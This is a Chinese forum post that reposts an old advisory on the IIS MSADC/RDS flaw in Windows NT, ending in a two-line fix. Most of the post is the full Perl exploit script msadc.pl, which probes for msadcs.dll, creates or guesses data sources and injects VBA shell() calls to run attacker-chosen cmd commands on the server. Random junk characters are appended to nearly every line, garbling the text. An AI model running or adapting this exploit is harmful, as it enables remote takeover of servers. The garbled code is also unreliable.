社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167881阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) } F E>|1  
'_<{ p3M  
涉及程序: b}\N;D.{  
Microsoft NT server 8bxfj<O,  
__uA}f Zp  
描述:  ;i4Q|  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 `34zkPB??  
}#3V+X  
详细: '|ad_M  
如果你没有时间读详细内容的话,就删除: I) rCd/  
c:\Program Files\Common Files\System\Msadc\msadcs.dll W'els)WJ|x  
有关的安全问题就没有了。 84$nT>c  
mD/9J5:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 :X"?kK0V  
Cmu@4j&  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 AW%50V  
关于利用ODBC远程漏洞的描述,请参看: Gw=B:kGk  
3s5z UT;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $yN{-T"  
w2Us!<x  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 90Pl$#cb2  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]E7F /O/.  
,aOl_o -&  
这里不再论述。 8Pfb~&X^Ws  
lvdf^b/ j  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: dW_KU}  
\@Ts+7%  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset yUeCc"Vf  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 9 eR-  
7X`l&7IXP  
@_-hk|Nl@  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;m0~L=w  
tG:25T0  
#!perl kh!FR u h  
# H=@}=aPf  
# MSADC/RDS 'usage' (aka exploit) script w+C7BPV&  
# 67VL@ ]  
# by rain.forest.puppy R"4Vtww  
# N c1"g1JR  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "C }b%aO:  
# beta test and find errors! E8!e:l =Q  
f6EZ( v  
use Socket; use Getopt::Std; I+BHstF5um  
getopts("e:vd:h:XR", \%args); f}aL-N~  
cT<1V!L4  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \@WDV  
|pm7_[  
if (!defined $args{h} && !defined $args{R}) { k;2GEa]w  
print qq~ ?*2CpM&l  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ccNd'2P  
-h <host> = host you want to scan (ip or domain) %;cddLQ\xY  
-d <seconds> = delay between calls, default 1 second 7zA'ri3w  
-X = dump Index Server path table, if available u&1q [0y  
-v = verbose cU RkP`  
-e = external dictionary file for step 5 +vvv[  
zxJ]" N  
Or a -R will resume a command session 2K< 8  
d^ Inb!%w  
~; exit;} e 63uLWDT  
.GV;+8HzS  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; "*($cQ$v  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} p%#<D9S  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} s2teym,uG  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); yQU_>_!n  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o%v0h~tn  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } uPhK3nCGo  
%kv0We fs  
if (!defined $args{R}){ $ret = &has_msadc; Ci?Ss+|  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} mIurA?&7!  
e7@ojOQ%  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" *$yR*}A  
. "cmd /c "; ZU85P0  
$in=<STDIN>; chomp $in; ?!;7:VIE  
$command="cmd /c " . $in ; j!_;1++q  
9}l33T4T  
if (defined $args{R}) {&load; exit;} @AG n{q  
0F]>Jby  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Q7*SE%H  
&try_btcustmr; [ OM7g'?S0  
,ek_R)&[o  
print "\nStep 2: Trying to make our own DSN..."; >[MX:Yh  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; yXz*5W_0D  
,#Iu 7di  
print "\nStep 3: Trying known DSNs..."; >XK PTC5H  
&known_dsn; kB3H="3[[  
u2[ iMd  
print "\nStep 4: Trying known .mdbs..."; >Nvjl~o5  
&known_mdb; ?6Jx@Sh  
]j'p :v  
if (defined $args{e}){ X<i^qoV  
print "\nStep 5: Trying dictionary of DSN names..."; (0j}-iaQEZ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 1>*#%R?W  
_]yn"p  
print "Sorry Charley...maybe next time?\n"; a&tSj35*6  
exit;  U mNa[ s  
p!>oo1&  
############################################################################## 2HpHxVJ  
aEM%R<e  
sub sendraw { # ripped and modded from whisker t0o`-d(  
sleep($delay); # it's a DoS on the server! At least on mine... H GXt  
my ($pstr)=@_; {)"iiJ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || kgnmGuka  
die("Socket problems\n"); d p2F  
if(connect(S,pack "SnA4x8",2,80,$target)){ 74H)|Dkx  
select(S); $|=1; ;gBRCZ  
print $pstr; my @in=<S>; TatpXN\  
select(STDOUT); close(S); 2r!s*b\Ix  
return @in; =4[v 3Qx  
} else { die("Can't connect...\n"); }} aa?w:3  
<Fi%iA  
############################################################################## ERpnuMb  
gg[WlRQK4A  
sub make_header { # make the HTTP request fG}tMSI  
my $msadc=<<EOT \Kl+ 5%L  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 &{>cZh}\  
User-Agent: ACTIVEDATA Z3{>yYR+  
Host: $ip #bMuvaP~  
Content-Length: $clen lLp^Gt^}w(  
Connection: Keep-Alive hCCiD9gz  
t *1u[~=  
ADCClientVersion:01.06 m1),;RsH  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 IIg^FZ*]_  
1abtgDL  
--!ADM!ROX!YOUR!WORLD! 9/hrjItV  
Content-Type: application/x-varg FO!]P   
Content-Length: $reqlen Qk\A c  
6,d@p  
EOT ]3VI|f$$  
; $msadc=~s/\n/\r\n/g; y$@ZN~8  
return $msadc;} D[^m{ 9_  
Gs9:6  
############################################################################## @c<3b2  
R(2tlZ  
sub make_req { # make the RDS request hJDi7P  
my ($switch, $p1, $p2)=@_; c%&: 6QniZ  
my $req=""; my $t1, $t2, $query, $dsn; pV20oSJNt  
I 6<*X  
if ($switch==1){ # this is the btcustmr.mdb query %1O;fQL  
$query="Select * from Customers where City=" . make_shell(); Rniq(FA x  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ;cPy1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} c:-!'l$ !  
}&n<uUDH  
elsif ($switch==2){ # this is general make table query uM_#  
$query="create table AZZ (B int, C varchar(10))"; y>72{  
$dsn="$p1";} | \'rP_I>  
!R1.7}O  
elsif ($switch==3){ # this is general exploit table query gA:5M  
$query="select * from AZZ where C=" . make_shell(); ?RK]FP"A  
$dsn="$p1";} x9;gT&@H  
PNaay:a|  
elsif ($switch==4){ # attempt to hork file info from index server I9:Cb)hbU]  
$query="select path from scope()"; Eo#u#IY  
$dsn="Provider=MSIDXS;";} tZ^Ou89:rG  
ZCB_  
elsif ($switch==5){ # bad query y($%;l   
$query="select"; CAcS~ "  
$dsn="$p1";} wvbPnf^y  
rb1`UG"h$  
$t1= make_unicode($query); u86"Y ^d#  
$t2= make_unicode($dsn); &_~+(  
$req = "\x02\x00\x03\x00"; zipS ]YD  
$req.= "\x08\x00" . pack ("S1", length($t1)); _io+YzS  
$req.= "\x00\x00" . $t1 ; QNA RkYY~|  
$req.= "\x08\x00" . pack ("S1", length($t2)); qe!fk?T}  
$req.= "\x00\x00" . $t2 ; "FTfk  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; AwslWkd=  
return $req;} ``OD.aY^s  
/c2w/+ _  
############################################################################## |!"2fI  
3'^k$;^  
sub make_shell { # this makes the shell() statement Y7vA`kjD-C  
return "'|shell(\"$command\")|'";} %*&UJpbA  
(cN}Epi(D  
############################################################################## Y=?yhAw  
cG?cUw).E  
sub make_unicode { # quick little function to convert to unicode TZ2=O<Kj  
my ($in)=@_; my $out; U7I qST  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ( YQWbOk  
return $out;} ;gs ^%z  
e_/b2"{  
############################################################################## {W]=~*w  
'Er:a?88l  
sub rdo_success { # checks for RDO return success (this is kludge) fH)YFn/  
my (@in) = @_; my $base=content_start(@in); 5g9; +}X;  
if($in[$base]=~/multipart\/mixed/){ I =1+h  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ]|sAK%/  
return 0;} ap{2$k ,  
h}]fn A  
############################################################################## D5:{fWVsV/  
jLpc Zb,  
sub make_dsn { # this makes a DSN for us CT1ja.\;  
my @drives=("c","d","e","f"); kI:}| _  
print "\nMaking DSN: "; V^\8BVw  
foreach $drive (@drives) { 4E+hRKuo,  
print "$drive: "; HO[wTB|D]  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ?}m']4p  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ] Puy!Q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); k%E2n:|*  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; A0fFv+RN3  
return 0 if $2 eq "404"; # not found/doesn't exist :"l-KQ0  
if($2 eq "200") { D`xHD#j h  
foreach $line (@results) { ($L Ll;1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7{xh8#m  
} return 0;} XXh6^@H=  
E=cwq"  
############################################################################## |U_]vMq  
=L C:SFzF  
sub verify_exists { P0$e~=Q^4  
my ($page)=@_; #rY sj-2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); r YF #^  
return $results[0];} QjC22lW-  
!H2QjW  
############################################################################## [xT:]Pw}  
h(F<h_  
sub try_btcustmr { 0d3+0EN{  
my @drives=("c","d","e","f"); !wWJ^Oz=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5bA)j!#)|X  
8HZs>l  
foreach $dir (@dirs) { YG8>czC  
print "$dir -> "; # fun status so you can see progress W$'R} L  
foreach $drive (@drives) { [|lB5gi4t!  
print "$drive: "; # ditto Raw)9tUt  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; W,K%c=  
$reqlenlen=length( "$reqlen" ); 7#~+@'Oe  
$clen= 206 + $reqlenlen + $reqlen; %J8|zKT5t  
N |1>ooU[  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ^+ wD43  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} P1zdK0TM  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Q0\0f  
T<I=%P)  
############################################################################## zz^F k&  
(4@lKKiU%H  
sub odbc_error { *-12VIG'H  
my (@in)=@_; my $base; Uh'#izm[l  
my $base = content_start(@in); [lk'xzE  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this /1 RAAa  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X{^}\,cVtG  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Nk[2nyeO>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^T.E+2=>z  
return $in[$base+4].$in[$base+5].$in[$base+6];} g!i45-n3gt  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; qClHP)<  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . lKkN_ (/j  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} }@+NN ?P  
1.D-FPK  
############################################################################## 8_&CT :u>  
l_j4DQBRV  
sub verbose { "/]| Hhc{  
my ($in)=@_; huudBc A[  
return if !$verbose; ^ZM0c>ev=l  
print STDOUT "\n$in\n";} SSBg?H'T  
zd]D(qeX  
############################################################################## j,d*?'X  
D{v8q)5r  
sub save { -B$~`2-  
my ($p1, $p2, $p3, $p4)=@_; XM<KF &pVB  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; n}mR~YqD  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; fZKt%m  
close OUT;} QR">.k4QJ  
l/y]nw  
############################################################################## 3u>8\|8wz  
`O^G5 0  
sub load { 93IFcmO.H@  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^Cv^yTj;&  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); NA$zd(  
@p=<IN>; close(IN); `d2,*KR  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); GFk1/ F  
$target= inet_aton($ip) || die("inet_aton problems"); {m8+Wju}  
print "Resuming to $ip ..."; U Q@7n1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; l$*=<tV  
if($p[1]==1) { K~RoUE<3[  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Y`6rEA0  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f-2$ L  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 3E^M?N2oc  
if (rdo_success(@results)){print "Success!\n";} A\Txb_x  
else { print "failed\n"; verbose(odbc_error(@results));}} pWE`x|J  
elsif ($p[1]==3){ QO{y/{  
if(run_query("$p[3]")){ RQW6N??C  
print "Success!\n";} else { print "failed\n"; }} ?yXAu0  
elsif ($p[1]==4){ Lh$dzHq  
if(run_query($drvst . "$p[3]")){ 4*Z6}"  
print "Success!\n"; } else { print "failed\n"; }} iP3Z  
exit;} qJR!$?  
>cL{Ya}Rz  
############################################################################## N"[B=fU}  
HjWq[[Nz  
sub create_table { _ia!mT <  
my ($in)=@_; Vy G4(X va  
$reqlen=length( make_req(2,$in,"") ) - 28; MVv1.6c7Y  
$reqlenlen=length( "$reqlen" ); G&eP5'B4i  
$clen= 206 + $reqlenlen + $reqlen; ^] p  
my @results=sendraw(make_header() . make_req(2,$in,"")); O$ !* %TL  
return 1 if rdo_success(@results); _DPOyR2  
my $temp= odbc_error(@results); verbose($temp); >n.z)ZJ  
return 1 if $temp=~/Table 'AZZ' already exists/; Bz2'=~J  
return 0;} fvo<(c#Y#  
,je`YEC  
############################################################################## IF k  
T&"i _no*  
sub known_dsn { JbQZ!+  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go qW^vz  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", pF=g||gS  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", T9y;OG  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); %NHYW\sKX  
eo#^L}  
foreach $dSn (@dsns) { z xZtz  
print "."; s0LA^2U  
next if (!is_access("DSN=$dSn")); eQX`,9:5  
if(create_table("DSN=$dSn")){ bNzqls$  
print "$dSn successful\n"; rE!1wc>L  
if(run_query("DSN=$dSn")){ V`a+Hi<P\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ('o&Q_  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $.e)  
+`| *s3M  
############################################################################## L0h G  
W5DbFSgB  
sub is_access { /nB'kg[h\  
my ($in)=@_; j=sBq.S  
$reqlen=length( make_req(5,$in,"") ) - 28; /-*hjX$n  
$reqlenlen=length( "$reqlen" ); e 3@x*XI  
$clen= 206 + $reqlenlen + $reqlen; ~\_T5/I%  
my @results=sendraw(make_header() . make_req(5,$in,"")); : 1)}Epo,  
my $temp= odbc_error(@results); \gKdD S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?AsDk~3  
return 0;} oFg'wAO.  
pVokgUrC  
############################################################################## H*!5e0~rR  
(ppoW  
sub run_query { 3B18dv,V  
my ($in)=@_; J 3?Dj  
$reqlen=length( make_req(3,$in,"") ) - 28; =Lw3 \5l  
$reqlenlen=length( "$reqlen" ); :k"rhI  
$clen= 206 + $reqlenlen + $reqlen; |_pl;&;:  
my @results=sendraw(make_header() . make_req(3,$in,"")); C!UEXj`l9  
return 1 if rdo_success(@results); pzEABA   
my $temp= odbc_error(@results); verbose($temp); 1$["79k  
return 0;} gL]'B!dGd  
=:5<{J OG  
############################################################################## 5Hle-FDn9  
h(:<(o@<  
sub known_mdb { 4]BJ0+|mT  
my @drives=("c","d","e","f","g"); g,?\~8-c  
my @dirs=("winnt","winnt35","winnt351","win","windows"); kEAhTh&g*  
my $dir, $drive, $mdb; K\sbt7~  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; @InJ_9E  
Dc:DY:L^  
# this is sparse, because I don't know of many r@$B'CsLj  
my @sysmdbs=( "\\catroot\\icatalog.mdb", z>:U{!5k  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ^![{,o@"A  
"\\system32\\certmdb.mdb", FGVb@=TO>  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% hAa[[%wPhU  
\!PV*%P  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ,P{ HE8.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Y +qus  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", FW^.m?}|  
"\\cfusion\\cfapps\\security\\realm_.mdb", z6Z='=pT  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", h ]}`@M"  
"\\cfusion\\database\\cfexamples.mdb", zlMlMyG4  
"\\cfusion\\database\\cfsnippets.mdb", u%aFb*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", @W)/\AZ3  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 5&%fkZ0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 2fBYT4*P;  
"\\cfusion\\database\\smpolicy.mdb", bA+[{  
"\\cfusion\\database\cypress.mdb", 0Q3YN(  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", r /yHmEk&  
"\\website\\cgi-win\\dbsample.mdb", |UZOAGiBg  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", H /%}R  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" [Pqn 3I[  
); #these are just {e6 KJ@H6  
foreach $drive (@drives) { 4(sttd_  
foreach $dir (@dirs){ 9TW8o}k`  
foreach $mdb (@sysmdbs) {  3se$,QmN  
print "."; s<#N]mp'   
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ %%x0w^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !3?~#e{_  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ cP('@K=p  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; , #Ln/;  
} else { print "Something's borked. Use verbose next time\n"; }}}}} g`.{K"N>!  
_M&{^d  
foreach $drive (@drives) { x {vIT- f  
foreach $mdb (@mdbs) { w?/f Zx  
print "."; mOSCkp{<e  
if(create_table($drv . $drive . $dir . $mdb)){ F b2p(.  
print "\n" . $drive . $dir . $mdb . " successful\n"; #O><A&FrF`  
if(run_query($drv . $drive . $dir . $mdb)){ ~RCg.&[ou  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; #\0TxG5'QA  
} else { print "Something's borked. Use verbose next time\n"; }}}} .CvFE~  
} Bj+wayMi  
y* rY~U#3  
############################################################################## PMsC*U,oe  
,=x RoXYB}  
sub hork_idx { ' me:Zd  
print "\nAttempting to dump Index Server tables...\n"; \E~Q1eAJT  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; pbFYiu+  
$reqlen=length( make_req(4,"","") ) - 28; h\2}875  
$reqlenlen=length( "$reqlen" ); >0 7shNX  
$clen= 206 + $reqlenlen + $reqlen; M!-q}5';  
my @results=sendraw2(make_header() . make_req(4,"","")); =_uol8v  
if (rdo_success(@results)){ %L28$c3p  
my $max=@results; my $c; my %d; uGM>C"  
for($c=19; $c<$max; $c++){ H[Cj7{V  
$results[$c]=~s/\x00//g; 8Y7 @D$=w  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; HmFNE$k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; DYkC'+TEX  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; M;V&KG Z  
$d{"$1$2"}="";} F],TG&>5  
foreach $c (keys %d){ print "$c\n"; } \y@ eBW  
} else {print "Index server doesn't seem to be installed.\n"; }} e7h\(`J0lj  
]|t9B/()i  
############################################################################## x{~_/;\p3  
E}Ljo  
sub dsn_dict { g&q^.7c}  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); \I:UC %  
while(<IN>){ oO8]lHS?@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ktU9LW~  
next if (!is_access("DSN=$dSn")); "Jf4N  
if(create_table("DSN=$dSn")){ PVZEB  
print "$dSn successful\n"; f>|9 l  
if(run_query("DSN=$dSn")){ |e~u!V\m  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { j1W bD7*8  
print "Something's borked. Use verbose next time\n";}}} ;B*L1'FF%t  
print "\n"; close(IN);} ^NY+wR5Sn  
N&x@_t""   
############################################################################## yY'gx|\  
$#TID=  
sub sendraw2 { # ripped and modded from whisker ]~$c~*0g  
sleep($delay); # it's a DoS on the server! At least on mine... m=#aHF  
my ($pstr)=@_; 8u4gx<;O  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )hePN4edj  
die("Socket problems\n"); )J{.Cx<E  
if(connect(S,pack "SnA4x8",2,80,$target)){ ZCj>MA  
print "Connected. Getting data"; 1hF2eNh  
open(OUT,">raw.out"); my @in; B8`R(vu;  
select(S); $|=1; print $pstr; ?SHc}iaU#  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} >+zAWK9  
close(OUT); select(STDOUT); close(S); return @in; Bidqf7v  
} else { die("Can't connect...\n"); }} L~'^W/N  
H Jnv'^yn  
############################################################################## wa9'2a1?  
ZJ;wRd@  
sub content_start { # this will take in the server headers Wh#os,U$  
my (@in)=@_; my $c; a.5zdoH_  
for ($c=1;$c<500;$c++) { d w|-=~  
if($in[$c] =~/^\x0d\x0a/){ jB}_Slh1j  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #p11D= @[  
else { return $c+1; }}} XHU<4l:kl  
return -1;} # it should never get here actually ]9bh+  
gEcnn .(S  
############################################################################## B^E2UNRA  
8Cf^$  
sub funky { SQz$kIZR  
my (@in)=@_; my $error=odbc_error(@in); ~ex~(AWh  
if($error=~/ADO could not find the specified provider/){ w*|=k~z  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (ouRf;\6$8  
exit;} ,U} 5  
if($error=~/A Handler is required/){ +z~ !#j4Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; EZgxSQaPH  
exit;} f(w#LuW<  
if($error=~/specified Handler has denied Access/){ "<g?x`iz  
print "\nServer has custom handler filters (they most likely are patched)\n"; gPA>*;?E;@  
exit;}} uIVTs9\  
M ,.0[+  
############################################################################## GN~[xXJU  
%zIl_/s  
sub has_msadc { &r 5&6p  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); a:(: :m  
my $base=content_start(@results); SNopAACf1  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); yhJA;&}>  
return 0;} /e j/&x15  
\E ? iw.}  
######################## cq@_*:~Or  
o|p;6  
v"G%5pq*\  
解决方案: $)kBz*C[  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ]ft~OqLg!  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ` + n  
AD!<%h:  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五